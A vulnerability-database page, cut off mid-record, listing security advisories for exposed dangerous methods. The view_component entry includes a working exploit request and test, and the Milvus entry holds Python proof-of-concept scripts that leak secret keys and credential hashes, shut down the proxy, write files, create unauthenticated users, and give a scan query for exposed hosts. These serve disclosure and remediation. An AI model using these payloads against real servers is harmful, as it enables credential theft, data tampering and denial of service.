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Common Weakness Enumeration

CWE-749

Allowed

Exposed Dangerous Method or Function

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The product provides an Applications Programming Interface (API) or similar interface for interaction with external actors, but the interface includes a dangerous method or function that is not properly restricted.

326 vulnerabilities reference this CWE, most recent first.

GHSA-7F3R-GWC9-2995

Vulnerability from github – Published: 2026-05-08 23:33 – Updated: 2026-06-08 23:34
VLAI
Summary
view_component: Preview Route Can Dispatch Inherited Helper Methods
Details

Summary

The preview route derives an example name from the URL and calls it with public_send. The code does not verify that the requested method is one of the preview examples explicitly defined by the preview class.

As a result, inherited public methods on ViewComponent::Preview are route-reachable. The most important one is render_with_template, which accepts template: and locals:. Those values can come from request params and are later passed to Rails as render template:.

If previews are exposed, an attacker can render internal Rails templates that are not otherwise routable.

Severity: High if preview routes are externally reachable; Medium otherwise.

Affected files:

  • lib/view_component/preview.rb
  • app/controllers/concerns/view_component/preview_actions.rb
  • app/views/view_components/preview.html.erb

Relevant Code

app/controllers/concerns/view_component/preview_actions.rb:

@example_name = File.basename(params[:path])
@render_args = @preview.render_args(@example_name, params: params.permit!)

lib/view_component/preview.rb:

example_params_names = instance_method(example).parameters.map(&:last)
provided_params = params.slice(*example_params_names).to_h.symbolize_keys
result = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params)

app/views/view_components/preview.html.erb:

<%= render template: @render_args[:template], locals: @render_args[:locals] || {} %>

The UI only lists direct preview methods via:

public_instance_methods(false).map(&:to_s).sort

But render_args does not enforce that list before dispatching.

Exploit Flow

Example request:

GET /rails/view_components/my_component/render_with_template?template=internal/secret&locals[poc_local]=attacker-controlled-local&request_marker=attacker-controlled-request

Flow:

  1. my_component resolves to a valid preview.
  2. File.basename(params[:path]) returns render_with_template.
  3. render_args calls inherited ViewComponent::Preview#render_with_template.
  4. Request params provide template: "internal/secret" and locals: {...}.
  5. The preview view renders internal/secret with attacker-controlled locals.

Impact depends on what internal templates render. In the worst case this can expose secrets, config, debug data, admin-only partials, or request/session-derived values.

PoC Test

This checkout already contains a PoC at:

  • test/sandbox/test/security_preview_template_poc_test.rb
  • test/sandbox/app/views/internal/secret.html.erb

The test proves that /internal/secret is not directly routable, but can still be rendered through the preview endpoint by invoking inherited render_with_template.

If reproducing manually, run:

bundle exec ruby -Itest test/sandbox/test/security_preview_template_poc_test.rb

Equivalent standalone test:

# frozen_string_literal: true

require "test_helper"

class SecurityPreviewTemplatePocTest < ActionDispatch::IntegrationTest
  def setup
    ViewComponent::Preview.__vc_load_previews
  end

  def test_preview_route_can_invoke_inherited_render_with_template
    refute_includes MyComponentPreview.examples, "render_with_template"

    assert_raises(ActionController::RoutingError) do
      Rails.application.routes.recognize_path("/internal/secret")
    end

    get(
      "/rails/view_components/my_component/render_with_template",
      params: {
        template: "internal/secret",
        locals: {poc_local: "attacker-controlled-local"},
        request_marker: "attacker-controlled-request"
      }
    )

    assert_response :success
    assert_includes response.body, "VC_PREVIEW_POC_SECRET=foo"
    assert_includes response.body, "VC_PREVIEW_POC_LOCAL=attacker-controlled-local"
    assert_includes response.body, "VC_PREVIEW_POC_REQUEST=attacker-controlled-request"
  end
end

Fixture template:

<div id="poc-secret">VC_PREVIEW_POC_SECRET=<%= Rails.application.secret_key_base %></div>
<div id="poc-local">VC_PREVIEW_POC_LOCAL=<%= local_assigns[:poc_local] || local_assigns["poc_local"] %></div>
<div id="poc-request">VC_PREVIEW_POC_REQUEST=<%= params[:request_marker] %></div>

Suggested Fix

Only dispatch explicitly declared preview examples:

def render_args(example, params: {})
  example = example.to_s
  raise AbstractController::ActionNotFound unless examples.include?(example)

  example_params_names = instance_method(example).parameters.map(&:last)
  provided_params = params.slice(*example_params_names).to_h.symbolize_keys
  result = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params)
  result ||= {}
  result[:template] = preview_example_template_path(example) if result[:template].nil?
  @layout = nil unless defined?(@layout)
  result.merge(layout: @layout)
end

Add a regression test that /rails/view_components/my_component/render_with_template fails unless render_with_template is explicitly defined as a preview example on that class.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
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{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "view_component"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "4.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44836"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-277",
      "CWE-749"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T23:33:14Z",
    "nvd_published_at": "2026-05-26T21:16:38Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe preview route derives an example name from the URL and calls it with `public_send`. The code does not verify that the requested method is one of the preview examples explicitly defined by the preview class.\n\nAs a result, inherited public methods on `ViewComponent::Preview` are route-reachable. The most important one is `render_with_template`, which accepts `template:` and `locals:`. Those values can come from request params and are later passed to Rails as `render template:`.\n\nIf previews are exposed, an attacker can render internal Rails templates that are not otherwise routable.\n\nSeverity: High if preview routes are externally reachable; Medium otherwise.\n\nAffected files:\n\n- `lib/view_component/preview.rb`\n- `app/controllers/concerns/view_component/preview_actions.rb`\n- `app/views/view_components/preview.html.erb`\n\n\n### Relevant Code\n\n`app/controllers/concerns/view_component/preview_actions.rb`:\n\n```ruby\n@example_name = File.basename(params[:path])\n@render_args = @preview.render_args(@example_name, params: params.permit!)\n```\n\n`lib/view_component/preview.rb`:\n\n```ruby\nexample_params_names = instance_method(example).parameters.map(\u0026:last)\nprovided_params = params.slice(*example_params_names).to_h.symbolize_keys\nresult = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params)\n```\n\n`app/views/view_components/preview.html.erb`:\n\n```erb\n\u003c%= render template: @render_args[:template], locals: @render_args[:locals] || {} %\u003e\n```\n\nThe UI only lists direct preview methods via:\n\n```ruby\npublic_instance_methods(false).map(\u0026:to_s).sort\n```\n\nBut `render_args` does not enforce that list before dispatching.\n\n### Exploit Flow\n\nExample request:\n\n```text\nGET /rails/view_components/my_component/render_with_template?template=internal/secret\u0026locals[poc_local]=attacker-controlled-local\u0026request_marker=attacker-controlled-request\n```\n\nFlow:\n\n1. `my_component` resolves to a valid preview.\n2. `File.basename(params[:path])` returns `render_with_template`.\n3. `render_args` calls inherited `ViewComponent::Preview#render_with_template`.\n4. Request params provide `template: \"internal/secret\"` and `locals: {...}`.\n5. The preview view renders `internal/secret` with attacker-controlled locals.\n\nImpact depends on what internal templates render. In the worst case this can expose secrets, config, debug data, admin-only partials, or request/session-derived values.\n\n### PoC Test\n\nThis checkout already contains a PoC at:\n\n- `test/sandbox/test/security_preview_template_poc_test.rb`\n- `test/sandbox/app/views/internal/secret.html.erb`\n\nThe test proves that `/internal/secret` is not directly routable, but can still be rendered through the preview endpoint by invoking inherited `render_with_template`.\n\nIf reproducing manually, run:\n\n```bash\nbundle exec ruby -Itest test/sandbox/test/security_preview_template_poc_test.rb\n```\n\nEquivalent standalone test:\n\n```ruby\n# frozen_string_literal: true\n\nrequire \"test_helper\"\n\nclass SecurityPreviewTemplatePocTest \u003c ActionDispatch::IntegrationTest\n  def setup\n    ViewComponent::Preview.__vc_load_previews\n  end\n\n  def test_preview_route_can_invoke_inherited_render_with_template\n    refute_includes MyComponentPreview.examples, \"render_with_template\"\n\n    assert_raises(ActionController::RoutingError) do\n      Rails.application.routes.recognize_path(\"/internal/secret\")\n    end\n\n    get(\n      \"/rails/view_components/my_component/render_with_template\",\n      params: {\n        template: \"internal/secret\",\n        locals: {poc_local: \"attacker-controlled-local\"},\n        request_marker: \"attacker-controlled-request\"\n      }\n    )\n\n    assert_response :success\n    assert_includes response.body, \"VC_PREVIEW_POC_SECRET=foo\"\n    assert_includes response.body, \"VC_PREVIEW_POC_LOCAL=attacker-controlled-local\"\n    assert_includes response.body, \"VC_PREVIEW_POC_REQUEST=attacker-controlled-request\"\n  end\nend\n```\n\nFixture template:\n\n```erb\n\u003cdiv id=\"poc-secret\"\u003eVC_PREVIEW_POC_SECRET=\u003c%= Rails.application.secret_key_base %\u003e\u003c/div\u003e\n\u003cdiv id=\"poc-local\"\u003eVC_PREVIEW_POC_LOCAL=\u003c%= local_assigns[:poc_local] || local_assigns[\"poc_local\"] %\u003e\u003c/div\u003e\n\u003cdiv id=\"poc-request\"\u003eVC_PREVIEW_POC_REQUEST=\u003c%= params[:request_marker] %\u003e\u003c/div\u003e\n```\n\n### Suggested Fix\n\nOnly dispatch explicitly declared preview examples:\n\n```ruby\ndef render_args(example, params: {})\n  example = example.to_s\n  raise AbstractController::ActionNotFound unless examples.include?(example)\n\n  example_params_names = instance_method(example).parameters.map(\u0026:last)\n  provided_params = params.slice(*example_params_names).to_h.symbolize_keys\n  result = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params)\n  result ||= {}\n  result[:template] = preview_example_template_path(example) if result[:template].nil?\n  @layout = nil unless defined?(@layout)\n  result.merge(layout: @layout)\nend\n```\n\nAdd a regression test that `/rails/view_components/my_component/render_with_template` fails unless `render_with_template` is explicitly defined as a preview example on that class.",
  "id": "GHSA-7f3r-gwc9-2995",
  "modified": "2026-06-08T23:34:27Z",
  "published": "2026-05-08T23:33:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ViewComponent/view_component/security/advisories/GHSA-7f3r-gwc9-2995"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44836"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ViewComponent/view_component"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/view_component/CVE-2026-44836.yml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "view_component: Preview Route Can Dispatch Inherited Helper Methods"
}

GHSA-7GJ2-FQJH-C4QG

Vulnerability from github – Published: 2024-06-06 21:30 – Updated: 2025-10-15 15:30
VLAI
Details

parisneo/lollms-webui is vulnerable to path traversal and denial of service attacks due to an exposed /select_database endpoint in version a9d16b0. The endpoint improperly handles file paths, allowing attackers to specify absolute paths when interacting with the DiscussionsDB instance. This flaw enables attackers to create directories anywhere on the system where the application has permissions, potentially leading to denial of service by creating directories with names of critical files, such as HTTPS certificate files, causing server startup failures. Additionally, attackers can manipulate the database path, resulting in the loss of client data by constantly changing the file location to an attacker-controlled location, scattering the data across the filesystem and making recovery difficult.

Severity
8.2 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-1873"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-749"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-06T19:15:51Z",
    "severity": "HIGH"
  },
  "details": "parisneo/lollms-webui is vulnerable to path traversal and denial of service attacks due to an exposed `/select_database` endpoint in version a9d16b0. The endpoint improperly handles file paths, allowing attackers to specify absolute paths when interacting with the `DiscussionsDB` instance. This flaw enables attackers to create directories anywhere on the system where the application has permissions, potentially leading to denial of service by creating directories with names of critical files, such as HTTPS certificate files, causing server startup failures. Additionally, attackers can manipulate the database path, resulting in the loss of client data by constantly changing the file location to an attacker-controlled location, scattering the data across the filesystem and making recovery difficult.",
  "id": "GHSA-7gj2-fqjh-c4qg",
  "modified": "2025-10-15T15:30:19Z",
  "published": "2024-06-06T21:30:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1873"
    },
    {
      "type": "WEB",
      "url": "https://github.com/parisneo/lollms-webui/commit/02e829b5653a1aa5dbbe9413ec84f96caa1274e8"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/c1cfc0d9-517a-4d0e-bf1c-6444c1fd195d"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7JPC-WCV3-H3MC

Vulnerability from github – Published: 2022-05-24 17:03 – Updated: 2024-01-09 12:30
VLAI
Details

A vulnerability has been identified in SiNVR 3 Central Control Server (CCS) (all versions), SiNVR 3 Video Server (all versions). The SFTP service (default port 22/tcp) of the SiNVR 3 Central Control Server (CCS) does not properly limit its capabilities to the specified purpose. In conjunction with CVE-2019-18341, an unauthenticated remote attacker with network access to the CCS server could exploit this vulnerability to read or delete arbitrary files, or access other resources on the same server.

Severity
9.9 (Critical)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-18342"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-749"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-12-12T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability has been identified in SiNVR 3 Central Control Server (CCS) (all versions), SiNVR 3 Video Server (all versions). The SFTP service (default port 22/tcp) of the SiNVR 3 Central Control Server (CCS) does not properly limit its capabilities to the specified purpose. In conjunction with CVE-2019-18341, an unauthenticated remote attacker with network access to the CCS server could exploit this vulnerability to read or delete arbitrary files, or access other resources on the same server.",
  "id": "GHSA-7jpc-wcv3-h3mc",
  "modified": "2024-01-09T12:30:34Z",
  "published": "2022-05-24T17:03:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-18342"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-761617.pdf"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-761844.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7P43-CH8G-7VXG

Vulnerability from github – Published: 2024-05-03 03:30 – Updated: 2024-05-03 03:30
VLAI
Details

PDF-XChange Editor Net.HTTP.requests Exposed Dangerous Function Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of PDF-XChange Editor. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.

The specific flaw exists within the Net.HTTP.requests method. The issue results from the exposure of a dangerous function. An attacker can leverage this vulnerability to disclose information in the context of the current user. Was ZDI-CAN-20211.

Severity
5.5 (Medium)
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-39505"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-749"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-03T03:15:18Z",
    "severity": "MODERATE"
  },
  "details": "PDF-XChange Editor Net.HTTP.requests Exposed Dangerous Function Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of PDF-XChange Editor. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the Net.HTTP.requests method. The issue results from the exposure of a dangerous function. An attacker can leverage this vulnerability to disclose information in the context of the current user. Was ZDI-CAN-20211.",
  "id": "GHSA-7p43-ch8g-7vxg",
  "modified": "2024-05-03T03:30:58Z",
  "published": "2024-05-03T03:30:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-39505"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-23-1143"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7PPG-37FH-VCR6

Vulnerability from github – Published: 2026-02-11 19:49 – Updated: 2026-07-06 15:17
VLAI
Summary
Milvus: Unauthenticated Access to Restful API on Metrics Port (9091) Leads to Critical System Compromise
Details

Summary

Milvus exposes TCP port 9091 by default with two critical authentication bypass vulnerabilities:

  1. The /expr debug endpoint uses a weak, predictable default authentication token derived from etcd.rootPath (default: by-dev), enabling arbitrary expression evaluation.
  2. The full REST API (/api/v1/*) is registered on the metrics/management port without any authentication, allowing unauthenticated access to all business operations including data manipulation and credential management.

Details

Vulnerability 1: Weak Default Authentication on /expr Endpoint

The /expr endpoint on port 9091 accepts an auth parameter that defaults to the etcd.rootPath value (by-dev). This value is well-known and predictable. An attacker who can reach port 9091 can evaluate arbitrary internal Go expressions, leading to:

  • Information/Credential Disclosure: Reading internal configuration values (MinIO secrets, etcd credentials) and user credential hashes via param.MinioCfg.SecretAccessKey.GetValue(), rootcoord.meta.GetCredential(ctx, 'root'), etc.
  • Denial of Service: Invoking proxy.Stop() to shut down the proxy service.
  • Arbitrary File Write (potential RCE): Manipulating access log configuration parameters to write arbitrary content to arbitrary file paths on the server filesystem.

Vulnerability 2: Unauthenticated REST API on Metrics Port

Business-logic HTTP handlers (collection management, data insertion, credential management) are registered on the metrics/management HTTP server at port 9091 via registerHTTPServer() in internal/distributed/proxy/service.go (line 170). These endpoints do not enforce any authentication, even when Milvus authentication is enabled on the primary gRPC/HTTP ports.

An attacker can perform any business operation without credentials, including:

  • Creating, listing, and deleting collections
  • Inserting and querying data
  • Creating, listing, and deleting user credentials
  • Modifying user passwords

Proof of Concept

PoC 1 — /expr Endpoint Exploitation

import requests

url = "http://<target>:9091/expr"

# Leak sensitive configuration (e.g., MinIO secret key)
res = requests.get(url, params={
    "auth": "by-dev",
    "code": "param.MinioCfg.SecretAccessKey.GetValue()"
}, timeout=5)
print(res.json().get("output", ""))

# Retrieve hashed credentials for the root user
res = requests.get(url, params={
    "auth": "by-dev",
    "code": "rootcoord.meta.GetCredential(ctx, 'root')"
}, timeout=5)
print(res.json().get("output", ""))

# Denial of Service — stop the proxy
res = requests.get(url, params={
    "auth": "by-dev",
    "code": "proxy.Stop()"
}, timeout=5)

# Arbitrary file write (potential RCE)
for cmd in [
    'param.Save("proxy.accessLog.localPath", "/tmp")',
    'param.Save("proxy.accessLog.formatters.base.format", "whoami")',
    'param.Save("proxy.accessLog.filename", "evil.sh")',
    'querycoord.etcdCli.KV.Put(ctx, "by-dev/config/proxy/accessLog/enable", "true")'
]:
    requests.get(url, params={"auth": "by-dev", "code": cmd}, timeout=5)

PoC 2 — Unauthenticated REST API Access

import requests

target_url = "http://<target>:9091"

# Create a user without any authentication
res = requests.post(f"{target_url}/api/v1/credential", json={
    "username": "attacker_user",
    "password": "MTIzNDU2Nzg5",
})
print(res.json())

# List all users
res = requests.get(f"{target_url}/api/v1/credential/users")
print(res.json())  # {'status': {}, 'usernames': ['root', 'attacker_user']}

# Create and delete collections, insert data — all without authentication

Internet Exposure

A significant number of publicly exposed Milvus instances are discoverable via internet-wide scanning using the pattern:

http.body="404 page not found" && port="9091"

This indicates the vulnerability is actively exploitable in real-world production environments.

Impact

An unauthenticated remote attacker with network access to port 9091 can:

  1. Exfiltrate secrets and credentials — MinIO keys, etcd credentials, user password hashes, and all internal configuration values.
  2. Manipulate all data — Create, modify, and delete collections, insert or remove data, bypassing all application-level access controls.
  3. Manage user accounts — Create administrative users, reset passwords, and escalate privileges.
  4. Cause denial of service — Shut down proxy services, drop databases, or corrupt metadata.
  5. Write arbitrary files — Potentially achieve remote code execution by writing malicious files to the filesystem via access log configuration manipulation.

Remediation

Recommended Fixes

  1. Remove or disable the /expr endpoint in production builds. If retained for debugging, it must require strong, non-default authentication and be disabled by default.
  2. Do not register business API routes on the metrics port. Separate the metrics/health endpoints from the application REST API to ensure authentication middleware applies consistently.
  3. Bind port 9091 to localhost by default (127.0.0.1:9091) so it is not externally accessible unless explicitly configured.
  4. Enforce authentication on all API endpoints, regardless of which port they are served on.

User Mitigations (until patched)

  • Block external access to port 9091 using firewall rules or network policies.
  • If running in Docker/Kubernetes, do not expose port 9091 outside the internal network.
  • Change the etcd.rootPath from the default value by-dev to a strong, random value (partial mitigation only — does not address the unauthenticated REST API).

Credit

This vulnerability was discovered and responsibly reported by YingLin Xie (xieyinglin@hust.edu.cn). It was independently reported by 0x1f and zznQ (ac0d3r).

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/milvus-io/milvus"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.5.27"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/milvus-io/milvus"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.6.0"
            },
            {
              "fixed": "2.6.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-26190"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-306",
      "CWE-749"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-11T19:49:44Z",
    "nvd_published_at": "2026-02-13T19:17:29Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nMilvus exposes TCP port 9091 by default with two critical authentication bypass vulnerabilities:\n\n1. The `/expr` debug endpoint uses a weak, predictable default authentication token derived from `etcd.rootPath` (default: `by-dev`), enabling arbitrary expression evaluation.\n2. The full REST API (`/api/v1/*`) is registered on the metrics/management port without any authentication, allowing unauthenticated access to all business operations including data manipulation and credential management.\n\n## Details\n\n### Vulnerability 1: Weak Default Authentication on `/expr` Endpoint\n\nThe `/expr` endpoint on port 9091 accepts an `auth` parameter that defaults to the `etcd.rootPath` value (`by-dev`). This value is well-known and predictable. An attacker who can reach port 9091 can evaluate arbitrary internal Go expressions, leading to:\n\n- **Information/Credential Disclosure**: Reading internal configuration values (MinIO secrets, etcd credentials) and user credential hashes via `param.MinioCfg.SecretAccessKey.GetValue()`, `rootcoord.meta.GetCredential(ctx, \u0027root\u0027)`, etc.\n- **Denial of Service**: Invoking `proxy.Stop()` to shut down the proxy service.\n- **Arbitrary File Write (potential RCE)**: Manipulating access log configuration parameters to write arbitrary content to arbitrary file paths on the server filesystem.\n\n### Vulnerability 2: Unauthenticated REST API on Metrics Port\n\nBusiness-logic HTTP handlers (collection management, data insertion, credential management) are registered on the metrics/management HTTP server at port 9091 via `registerHTTPServer()` in [`internal/distributed/proxy/service.go` (line 170)](https://github.com/milvus-io/milvus/blob/9996e8d1cebff7e7108bcb16d43124236de77438/internal/distributed/proxy/service.go#L170). These endpoints do not enforce any authentication, even when Milvus authentication is enabled on the primary gRPC/HTTP ports.\n\nAn attacker can perform any business operation without credentials, including:\n\n- Creating, listing, and deleting collections\n- Inserting and querying data\n- Creating, listing, and deleting user credentials\n- Modifying user passwords\n\n## Proof of Concept\n\n### PoC 1 \u2014 `/expr` Endpoint Exploitation\n\n```python\nimport requests\n\nurl = \"http://\u003ctarget\u003e:9091/expr\"\n\n# Leak sensitive configuration (e.g., MinIO secret key)\nres = requests.get(url, params={\n    \"auth\": \"by-dev\",\n    \"code\": \"param.MinioCfg.SecretAccessKey.GetValue()\"\n}, timeout=5)\nprint(res.json().get(\"output\", \"\"))\n\n# Retrieve hashed credentials for the root user\nres = requests.get(url, params={\n    \"auth\": \"by-dev\",\n    \"code\": \"rootcoord.meta.GetCredential(ctx, \u0027root\u0027)\"\n}, timeout=5)\nprint(res.json().get(\"output\", \"\"))\n\n# Denial of Service \u2014 stop the proxy\nres = requests.get(url, params={\n    \"auth\": \"by-dev\",\n    \"code\": \"proxy.Stop()\"\n}, timeout=5)\n\n# Arbitrary file write (potential RCE)\nfor cmd in [\n    \u0027param.Save(\"proxy.accessLog.localPath\", \"/tmp\")\u0027,\n    \u0027param.Save(\"proxy.accessLog.formatters.base.format\", \"whoami\")\u0027,\n    \u0027param.Save(\"proxy.accessLog.filename\", \"evil.sh\")\u0027,\n    \u0027querycoord.etcdCli.KV.Put(ctx, \"by-dev/config/proxy/accessLog/enable\", \"true\")\u0027\n]:\n    requests.get(url, params={\"auth\": \"by-dev\", \"code\": cmd}, timeout=5)\n```\n\n### PoC 2 \u2014 Unauthenticated REST API Access\n\n```python\nimport requests\n\ntarget_url = \"http://\u003ctarget\u003e:9091\"\n\n# Create a user without any authentication\nres = requests.post(f\"{target_url}/api/v1/credential\", json={\n    \"username\": \"attacker_user\",\n    \"password\": \"MTIzNDU2Nzg5\",\n})\nprint(res.json())\n\n# List all users\nres = requests.get(f\"{target_url}/api/v1/credential/users\")\nprint(res.json())  # {\u0027status\u0027: {}, \u0027usernames\u0027: [\u0027root\u0027, \u0027attacker_user\u0027]}\n\n# Create and delete collections, insert data \u2014 all without authentication\n```\n\n## Internet Exposure\n\nA significant number of publicly exposed Milvus instances are discoverable via internet-wide scanning using the pattern:\n\n```\nhttp.body=\"404 page not found\" \u0026\u0026 port=\"9091\"\n```\n\nThis indicates the vulnerability is actively exploitable in real-world production environments.\n\n## Impact\n\nAn unauthenticated remote attacker with network access to port 9091 can:\n\n1. **Exfiltrate secrets and credentials** \u2014 MinIO keys, etcd credentials, user password hashes, and all internal configuration values.\n2. **Manipulate all data** \u2014 Create, modify, and delete collections, insert or remove data, bypassing all application-level access controls.\n3. **Manage user accounts** \u2014 Create administrative users, reset passwords, and escalate privileges.\n4. **Cause denial of service** \u2014 Shut down proxy services, drop databases, or corrupt metadata.\n5. **Write arbitrary files** \u2014 Potentially achieve remote code execution by writing malicious files to the filesystem via access log configuration manipulation.\n\n## Remediation\n\n### Recommended Fixes\n\n1. **Remove or disable the `/expr` endpoint** in production builds. If retained for debugging, it must require strong, non-default authentication and be disabled by default.\n2. **Do not register business API routes on the metrics port.** Separate the metrics/health endpoints from the application REST API to ensure authentication middleware applies consistently.\n3. **Bind port 9091 to localhost by default** (`127.0.0.1:9091`) so it is not externally accessible unless explicitly configured.\n4. **Enforce authentication on all API endpoints**, regardless of which port they are served on.\n\n### User Mitigations (until patched)\n\n- Block external access to port 9091 using firewall rules or network policies.\n- If running in Docker/Kubernetes, do not expose port 9091 outside the internal network.\n- Change the `etcd.rootPath` from the default value `by-dev` to a strong, random value (partial mitigation only \u2014 does not address the unauthenticated REST API).\n\n## Credit\n\nThis vulnerability was discovered and responsibly reported by **YingLin Xie** (xieyinglin@hust.edu.cn). It was independently reported by [0x1f](https://github.com/0x1f) and zznQ ([ac0d3r](https://github.com/ac0d3r)).",
  "id": "GHSA-7ppg-37fh-vcr6",
  "modified": "2026-07-06T15:17:07Z",
  "published": "2026-02-11T19:49:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/milvus-io/milvus/security/advisories/GHSA-7ppg-37fh-vcr6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/milvus-io/milvus/commit/92b74dd2e286006a83b4a5f07951027b32e718a9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/milvus-io/milvus"
    },
    {
      "type": "WEB",
      "url": "https://github.com/milvus-io/milvus/releases/tag/v2.5.27"
    },
    {
      "type": "WEB",
      "url": "https://github.com/milvus-io/milvus/releases/tag/v2.6.10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Milvus: Unauthenticated Access to Restful API on Metrics Port (9091) Leads to Critical System Compromise"
}

GHSA-7QWV-CWGJ-C8RJ

Vulnerability from github – Published: 2022-05-01 06:50 – Updated: 2025-10-22 19:30
VLAI
Summary
Improper Input Validation in Apache Struts
Details

ActionForm in Apache Software Foundation (ASF) Struts before 1.2.9 with BeanUtils 1.7 allows remote attackers to cause a denial of service via a multipart/form-data encoded form with a parameter name that references the public getMultipartRequestHandler method, which provides further access to elements in the CommonsMultipartRequestHandler implementation and BeanUtils.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:H
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "struts:struts"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.2.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2006-1547"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-749"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-06-07T23:11:14Z",
    "nvd_published_at": "2006-03-30T22:02:00Z",
    "severity": "HIGH"
  },
  "details": "ActionForm in Apache Software Foundation (ASF) Struts before 1.2.9 with BeanUtils 1.7 allows remote attackers to cause a denial of service via a multipart/form-data encoded form with a parameter name that references the public getMultipartRequestHandler method, which provides further access to elements in the CommonsMultipartRequestHandler implementation and BeanUtils.",
  "id": "GHSA-7qwv-cwgj-c8rj",
  "modified": "2025-10-22T19:30:57Z",
  "published": "2022-05-01T06:50:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2006-1547"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/25613"
    },
    {
      "type": "PACKAGE",
